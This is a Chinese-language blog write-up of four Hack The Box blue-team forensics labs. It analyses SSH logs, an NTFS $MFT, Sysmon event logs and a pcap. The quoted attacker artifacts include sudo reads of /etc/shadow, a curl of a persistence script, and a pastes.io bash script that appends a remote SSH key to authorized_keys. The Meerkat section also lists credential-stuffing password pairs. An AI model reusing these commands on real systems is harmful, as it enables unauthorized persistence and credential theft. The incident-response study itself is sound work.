HTB-Intro-to-Blue-Team

2025-02-23

最近工作上,可能會需要用到事件處理的技能,鑑於之前一直沒受過一套完整訓練,因緣際會之下找到 HTB 這包教材,就來打看看吧

ref: https://www.youtube.com/watch?v=bv08UcIL1po

Brutus

解壓縮完後有兩個檔案─ auth.logwtmp

這兩個檔案預設都放在 /var/log

wtmp 可以用 utmpdump 看其中的內容

或是 last -f ./wtmp

指定時間+full format TZ=utc last -f ./wtmp -F

在本機的話可以直接用 last 查看

接下來看看 auth.log,這也是放在 /var/log

透過 command 簡單處理一下
cat auth.log| cut -d ' ' -f 6 | sed 's/\[.*//g' | sort | uniq -c | sort -n

首先針對 useradd 看看

1
2
$ cat auth.log| grep useradd
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

可以看到新增了一個 cyberjunkie 的 user

來看看這個 user 幹了什麼事情

…拉回來看題目吧

  1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
    • 65.2.161.68

我們可以順著不正常的 COMMAND 配合 wtmp 找到不合法 IP

  1. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
    • root

可以看到在某一個時間段內會看到很多登入/驗證失敗的 log

然後在這些 fail 的時間段內會看到一個 session open

  1. Identify the timestamp when the attacker logged in manually to the server to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
    • 2024-03-06 06:32:45

一樣順著惡意 IP 和被爆破成功的 username 下去 wtmp 找就找到了

1
2
3
$ utmpdump ./wtmp  | grep root | grep  65.2.161.68
Utmp dump of ./wtmp
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]

  1. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
    • 37

這題我也不太清楚為什麼是37而不是34…,一開始我以為是34是因為在發現成功登入的下一行就有壓 session number 了,但這答案是錯的

所以我換個方式去找所有登入成功的,然後換一個 37 去試就成功了

  1. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
    • cyberjunkie

這一題很簡單, grep useradd 就有答案了

1
2
$ cat auth.log| grep useradd
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

  1. What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

  2. What time did the attacker’s first SSH session end according to auth.log?

    • 2024-03-06 06:37:24

記住呈上面的答案,我們要找 session 37 的 session close 時間

  1. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
1
2
3
$ cat auth.log| grep COMMAND
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

or

1
2
3
4
5
6
7
8
9
$ cat auth.log| grep sudo
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

BFT

題目主要是給一個 MFT$ 檔案,在講這個檔案之前,先聊聊怎麼把這個檔案 dump 出來

要拉這檔案還不容易

看了 chatGPT 有幾個結果
第一個是透過 FTK image
第二個是透過 RawCopy

第三個也是我這次要做的─透過 sleuthkit dump

首先進去下載頁面 https://www.sleuthkit.org/sleuthkit/download.php
將 windows binary 下載回來解壓縮

how to dump

  1. 首先 wmic logicaldisk get deviceid,volumename,description
  2. 透過 fls.exe \\.\C: 取得要 dump MFT$ 的 offset
  3. 最後 icat.exe \\.\C: 0 > [MFT file location] 將 MFT dump 出來 (什麼都沒顯示就不貼圖了)

以下是問 grok 的 fls 那一串 output 的結果:

  1. 先理解 fls.exe 是什麼
    fls.exe 是一個工具,像是用來檢查硬碟(NTFS 檔案系統)的「清單整理員」。它會幫你列出硬碟裡面所有的檔案和資料夾,包括一些系統隱藏的東西。r/r 0-128-6: $MFT 就是它列出來的一個重要項目。

  2. 解釋 r/r 0-128-6: $MFT
    這行資訊可以拆成幾個部分來看:

(1) r/r:這是什麼意思?

  • r/r 就像是在說這個東西是「住家裡的資料」,不是存在硬碟的「外面大倉庫」。
  • 在硬碟的世界裡,資料有兩種存放方式:
    • 住家裡(resident,駐留):資料直接存在一個叫「MFT」(主檔案表)的表格裡,像是小檔案或重要資訊,方便快速找到。
    • 外面大倉庫(non-resident,非駐留):如果資料太大,就會存在硬碟的其他地方。
  • 這裡的 r/r 表示這個資料是「住家裡的」,而且可能是檔案的重要描述資訊(元資料)。

(2) 0-128-6:這是什麼編號?

  • 這就像是檔案的「身分證號碼」,幫我們找到它的位置和相關資訊:
    • 0:這是檔案在 MFT 表格裡的編號,0 號特別重要,因為它代表 $MFT 自己。就像是「這棟大樓的房東資料」。
    • 128:這是檔案的屬性代碼,128 通常代表「資料內容」($DATA)。就像是說「我要看這個檔案的內容」。
    • 6:這是序列號,像是「這筆資料被更新過 6 次」。如果這個數字很高,可能表示硬碟的資料改動很多。

(3) $MFT:這是什麼?

  • $MFT 就像是硬碟的「總管家檔案」。
  • 它是一個很重要的系統檔案,記錄了硬碟裡所有檔案和資料夾的資訊,像是:
    • 檔案叫什麼名字?
    • 什麼時候建立或修改的?
    • 檔案存在硬碟的哪個位置?
  • 可以把 $MFT 想像成一本「硬碟電話簿」,裡面有所有檔案的地址和基本資料。
  • $MFT 本身也是一個檔案,它的編號是 0,所以這裡的 0-128-6 就是在看 $MFT 自己的資料。
  1. 為什麼這很重要?
  • $MFT 是硬碟的「心臟」,它記錄了所有檔案的資訊,所以是分析硬碟的起點。
  • 如果你在做數位鑑識(像是找回刪除的檔案或檢查硬碟的歷史),$MFT 是最重要的線索來源,因為:
    • 它可以告訴你有哪些檔案被刪除了。
    • 可以看到檔案的時間戳記(什麼時候建立、修改)。
    • 可以了解硬碟的整體結構。
  • 這裡的 r/r 0-128-6: $MFT 就是告訴你,你正在看這個「心臟檔案」的內容。

在理解完 MFT 之後,再來看題目給的 MFT$ file 長怎樣,首先把 MFT$ 轉成 csv 格式
這邊會用到 MFTCmd 這個工具,在這邊可以找到:
https://ericzimmerman.github.io/

MFTECmd.exe -f ..\BFT\C\$MFT --csv .\result

出來就是一個csv檔案,如果對於 Excel 處理得心應手的話可以直接這樣看,但我看教學大多都是配合 TimelineExplorer 一起看
記得這些工具都須搭配 .net6 或 9 才能跑,執行前先確保有裝好對應套件

以下開始解題

  1. Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?

    • Stage-20240213T093324Z-001.zip
      題目寫了 ZIP 檔案,所以針對檔案名稱是 .zip 的結尾看,選第一個
  2. Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?

在 zip 附近找一找


或是直接偷懶 grep https:// 然後一個一個試

  1. What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?
    • C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat

既然是透過 zip 壓縮檔下載下來中毒,那我就會特別看 Downloads 資料夾的變動

然後就會在裡面發現 bat 檔案

  1. Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?
    • 2024-02-13 16:38:39

這邊被 excel 坑了,給我四捨五入…

  1. Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.

    • 16E3000
      很快地找到 entry number

      根據提示
      1
      In MFT records, find the Entry Number value for the file in question. Multiply that number by 1024 (since this is the size of each record). The result is the offset in Decimal. Convert it to hex to find your answer.
      23436 * 1024 然後轉 hex
  2. Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.

    • 43.204.110.203:6666

這題比較有挑戰性一點,首先開啟 HxD,選 goto ,然後填上一題的 hex 值

接著往下滑就會看到 bat 檔案的內容了(明文)

Unit42

https://www.secpulse.com/archives/163339.html
https://download.ericzimmermanstools.com/EvtxECmd.zip

用法:
EvtxECmd.exe -f ..\unit42\Microsoft-Windows-Sysmon-Operational.evtx --csv result

接著來分析 csv

  1. How many Event logs are there with Event ID 11?
    • 56

透過 cat [csv] | sort | uniq -c 就可以得到答案

  1. Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system?
    • C:\Users\CyberJunkie\Downloads\Preventivo24.02.14.exe.exe

針對 event id 1 (process create) 看一下
cat [csv] | awk -F , '{if ($4==1) {print $0}}'

然後再篩選一下
cat [csv]| awk -F , '{if ($4==1) {print $0}}' | awk -F , '{print $(NF-4)}'

最可疑個只有一個

  1. Which Cloud drive was used to distribute the malware?
    • dropbox

有了惡意程式名稱就可以找到了
偷懶作法
cat [csv] | grep Preventivo24.02.14.exe.exe| grep http

正規做法是撈取 event id 15 (FileCreateStreamHash)
cat [csv] | awk -F , '{if ($4==15) {print $0}}' | grep Preventivo
可以知道該惡意程式透過 firefox 訪問一個 dropbox 連結

  1. For many of the files it wrote to disk, the initial malicious file used a defense evasion technique called Time Stomping, where the file creation date is changed to make it appear older and blend in with other files. What was the timestamp changed to for the PDF file?
    • 2024-01-14 08:10:06

針對 event id 2 (A process changed a file creation time) 做 grep
cat [csv] | awk -F , '{if ($4==2) {print $0}}' | grep -i pdf

  1. The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename.
    • C:\Users\CyberJunkie\AppData\Roaming\Photo and Fax Vn\Photo and vn 1.1.2\install\F97891C\WindowsVolume\Games\once.cmd

針對 event id 11 (FileCreate) 做 grep
cat [csv] | awk -F , '{if ($4==11) {print $0}}' | grep once.cmd

  1. The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?

針對 event id 22 (DNSEvent) 做 grep,然後針對題目在網路上隨便找一個 domain 的 regex 做 highlight (為了隱私所以加-o)

cat [csv]| awk -F , '{if ($4==22) {print $0}}' | grep -oE "(([a-zA-Z](-?[a-zA-Z0-9])*)\.)+[a-zA-Z]{2,}"

  1. Which IP address did the malicious process try to reach out to?
    • 93.184.216.34

針對 event id 3 (Network connection) 做 grep

  1. The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?
    • 2024-02-14 03:41:58

針對 event id (Process terminated) 做 grep
cat [csv]| awk -F , '{if ($4==5) {print $0}}' | grep -iE "ter|time"

做完後,有點空虛…後面其實都在看 Sysmon 的 event id,就實務來看,會建議先 target malware process id,後面多針對這個 id 做 grep,另外不一定每一次的現場都會有 sysmon,所以我還是找了沒有 sysmon 的情況下怎麼對 Evtx 做分析(問GPT)

1
2
3
4
5
6
7
8
9
10
11
12
在調查被駭客入侵的 Windows 系統時,您應該專注於下列關鍵事件識別碼:

4624 和 4625:成功與失敗的登入
4672:特權使用登入
4732:群組成員變更
4648:憑證使用
4663: 當一個檔案或資料夾被訪問時,它會記錄此事件。此事件會顯示:檔案的訪問類型(例如,創建、寫入或刪除),操作的對象,對象的路徑等。
4688 Windows 安全日誌中的事件 ID
4720:用戶帳戶創建
6005 和 6006:系統啟動與關機
5156 和 5158:防火牆事件
7030:服務啟動失敗

Meerkat

裡面有兩個檔案:
meerkat.pcap
meerkat-alerts.json

那個 json 看起來像是 Suricata 的 alert EVE json
看起來就是純分析資料的時候

  1. We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?
    • BonitaSoft

針對 JSON 做分析
cat meerkat-alerts.json | jq .[].alert.signature | sort | uniq -c | sort -nr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
134 "ET INFO User-Agent (python-requests) Inbound to Webserver"
59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)"
17 "ET DROP Dshield Block Listed Source group 1"
12 "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)"
6 "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management"
4 "GPL WEB_SERVER DELETE attempt"
4 "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)"
4 "ET EXPLOIT Bonitasoft Authorization Bypass and RCE Upload M1 (CVE-2022-25237)"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 84"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 82"
2 null
1 "GPL SNMP public access udp"
1 "ET SCAN Suspicious inbound to mySQL port 3306"
1 "ET SCAN Suspicious inbound to PostgreSQL port 5432"
1 "ET SCAN Suspicious inbound to Oracle SQL port 1521"
1 "ET SCAN Suspicious inbound to MSSQL port 1433"
1 "ET SCAN Potential VNC Scan 5900-5920"
1 "ET SCAN Potential VNC Scan 5800-5820"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 81"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 76"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 31"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 29"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 13"
1 "ET ATTACK_RESPONSE Possible /etc/passwd via HTTP (linux style)"
1 "ET 3CORESec Poor Reputation IP group 42"
1 "ET 3CORESec Poor Reputation IP group 18"

可以看到有一個特別顯眼 Bonitasoft

  1. We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?
    • Credential Stuffing

來處理 pcap 吧,我還是想以 shell 處理
首先處理 pcap 轉成 json
tshark -r input_file.pcap -T json > output_file.json
用 tshark 轉csv超麻煩,要預先選好 field,建議透過 wireshark 做,順便學一下 jq
然後透過 jq -r 'paths | map(tostring) | join(".")' output_file.json list all keys

然後針對 http 找一下,如果怕 http GET 做驗證的話也可以 grep GET

cat output.json | jq ‘.[]._source.layers.http’ | grep username | sort | uniq -c | sort -f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 1   "http.file_data": "username=Adora.Mersh%40forela.co.uk&password=85Hh8JZkJR6&_l=en"
1 "http.file_data": "username=Adrea.Shervil%40forela.co.uk&password=7YoFhtUq&_l=en"
1 "http.file_data": "username=Ahmed.Monteaux%40forela.co.uk&password=6uskrtw8U&_l=en"
1 "http.file_data": "username=Alexi.Siman%40forela.co.uk&password=iUS11pX&_l=en"
1 "http.file_data": "username=Aline.Rivallant%40forela.co.uk&password=gFixyf1nGgf&_l=en"
1 "http.file_data": "username=Antoinette.Vittel%40forela.co.uk&password=bGtHL8cg&_l=en"
1 "http.file_data": "username=Bernelle.Draycott%40forela.co.uk&password=MmxlUAWe0oW&_l=en"
1 "http.file_data": "username=Berny.Ferrarin%40forela.co.uk&password=lPCO6Z&_l=en"
1 "http.file_data": "username=Cariotta.Whife%40forela.co.uk&password=x3hoU0&_l=en"
1 "http.file_data": "username=Clerc.Killich%40forela.co.uk&password=vYdwoVhGIwJ&_l=en"
1 "http.file_data": "username=Cordelie.Rostron%40forela.co.uk&password=mAtdcJh&_l=en"
1 "http.file_data": "username=Cyndy.Element%40forela.co.uk&password=ybWxct&_l=en"
1 "http.file_data": "username=Cynthia.Hatto%40forela.co.uk&password=z0NXI6&_l=en"
1 "http.file_data": "username=Denny.Gepson%40forela.co.uk&password=q2JqCSXk69&_l=en"
1 "http.file_data": "username=Drusilla.Nice%40forela.co.uk&password=l35Euh0T3Am&_l=en"
1 "http.file_data": "username=Ebony.Oleszcuk%40forela.co.uk&password=uAWnyfKOjQM&_l=en"
1 "http.file_data": "username=Elka.Cavet%40forela.co.uk&password=n1aSdc&_l=en"
1 "http.file_data": "username=Ellerey.Bierling%40forela.co.uk&password=Nva0nKTz&_l=en"
1 "http.file_data": "username=Farleigh.Schouthede%40forela.co.uk&password=JzI6Dvhy&_l=en"
1 "http.file_data": "username=Fredrick.Gerraty%40forela.co.uk&password=W1By0HUByDHO&_l=en"
1 "http.file_data": "username=Garrard.Colisbe%40forela.co.uk&password=jMi9iP&_l=en"
1 "http.file_data": "username=Gerri.Cordy%40forela.co.uk&password=w15pvWGTK&_l=en"
1 "http.file_data": "username=Gianina.Tampling%40forela.co.uk&password=maUIffqQl&_l=en"
1 "http.file_data": "username=Griffith.Lumm%40forela.co.uk&password=QPepd0M8wBK&_l=en"
1 "http.file_data": "username=Guss.Botten%40forela.co.uk&password=sVMRgGmv0sE&_l=en"
1 "http.file_data": "username=Gypsy.Henric%40forela.co.uk&password=lLPqVgmHs5F&_l=en"
1 "http.file_data": "username=Imelda.Braben%40forela.co.uk&password=dC7bjGLYB&_l=en"
1 "http.file_data": "username=Jenilee.Pressman%40forela.co.uk&password=3eYwLOKhQEcl&_l=en"
1 "http.file_data": "username=Jordain.Eykel%40forela.co.uk&password=rnMXBNdNW0&_l=en"
1 "http.file_data": "username=Kayley.Northway%40forela.co.uk&password=s9MC7mkdVU&_l=en"
1 "http.file_data": "username=Konstance.Domaschke%40forela.co.uk&password=6XLZjvD&_l=en"
1 "http.file_data": "username=Lauren.Pirozzi%40forela.co.uk&password=wsp0Uy&_l=en"
1 "http.file_data": "username=Marven.Samuel%40forela.co.uk&password=LPU0qQnt108&_l=en"
1 "http.file_data": "username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en"
1 "http.file_data": "username=Mella.Amsberger%40forela.co.uk&password=4nIYM5WqN&_l=en"
1 "http.file_data": "username=Merl.Lavalde%40forela.co.uk&password=BgfiOVXNLBc&_l=en"
1 "http.file_data": "username=Merna.Rammell%40forela.co.uk&password=u7pWoF36fn&_l=en"
1 "http.file_data": "username=Nefen.Heffernon%40forela.co.uk&password=VR0ZA8&_l=en"
1 "http.file_data": "username=Noam.Harvett%40forela.co.uk&password=VDt8bh&_l=en"
1 "http.file_data": "username=Nola.Crichmer%40forela.co.uk&password=QGa58W3L&_l=en"
1 "http.file_data": "username=Norbie.Bartolini%40forela.co.uk&password=GV2zlop&_l=en"
1 "http.file_data": "username=Osborne.Humpatch%40forela.co.uk&password=OJ4WHcI4D&_l=en"
1 "http.file_data": "username=Pat.Kloisner%40forela.co.uk&password=N8ZwVMzF6&_l=en"
1 "http.file_data": "username=Pete.Panons%40forela.co.uk&password=BKdkGTB&_l=en"
1 "http.file_data": "username=Puff.Yapp%40forela.co.uk&password=M08Aae&_l=en"
1 "http.file_data": "username=Rakel.Cawley%40forela.co.uk&password=h4gW3YLwnW9t&_l=en"
1 "http.file_data": "username=Samaria.Percifull%40forela.co.uk&password=CUgc3hzHw5g&_l=en"
1 "http.file_data": "username=Sharon.Claus%40forela.co.uk&password=3X4d06I&_l=en"
1 "http.file_data": "username=Skipton.Pickerill%40forela.co.uk&password=lcsui1Nu&_l=en"
1 "http.file_data": "username=Stanleigh.Tuckwell%40forela.co.uk&password=VQCk8TGn3&_l=en"
1 "http.file_data": "username=Talya.Sterman%40forela.co.uk&password=3gCERZ2JMh&_l=en"
1 "http.file_data": "username=Teresita.Benford%40forela.co.uk&password=uvYjtQzX&_l=en"
1 "http.file_data": "username=Tobiah.Horstead%40forela.co.uk&password=fp0OQl&_l=en"
1 "http.file_data": "username=Vida.Murty%40forela.co.uk&password=4ulecG&_l=en"
1 "http.file_data": "username=Winston.Conville%40forela.co.uk&password=cEmh5W2Vh&_l=en"
4 "http.file_data": "username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en"
59 "http.file_data": "username=install&password=install&_l=en"
  1. Does the vulnerability exploited have a CVE assigned - and if so, which one?
    • CVE-2022-25237

在第一題的 alert json 列出來就看到了

  1. Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit?
    • i18ntranslation

cat output.json | jq '.[]._source.layers.http' | grep -v null |less
然後找 /API

  1. How many combinations of usernames and passwords were used in the credential stuffing attack?
    • 56

install/install 去掉,因為他不屬於 Credential Stuffing 的範圍
cat output.json | grep username | grep file_data | grep -v "username=install&password=install&_l=en" | sort -u | wc -l

  1. Which username and password combination was successful?

最後還是開 wireshark 做了…
http.request.method == "POST" or http.response.code !=401

記得用 time 做排序

  1. If any, which text sharing site did the attacker utilise?
    • pastes.io

  1. Please provide the filename of the public key used by the attacker to gain persistence on our host.
    • hffgra4unv
1
2
3
4
$ curl https://pastes.io/raw/bx5gcr0et8
#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restarta
  1. Can you confirm the file modified by the attacker to gain persistence?
    • /home/ubuntu/.ssh/authorized_keys
  1. Can you confirm the MITRE technique ID of this type of persistence mechanism?
    • T1098.004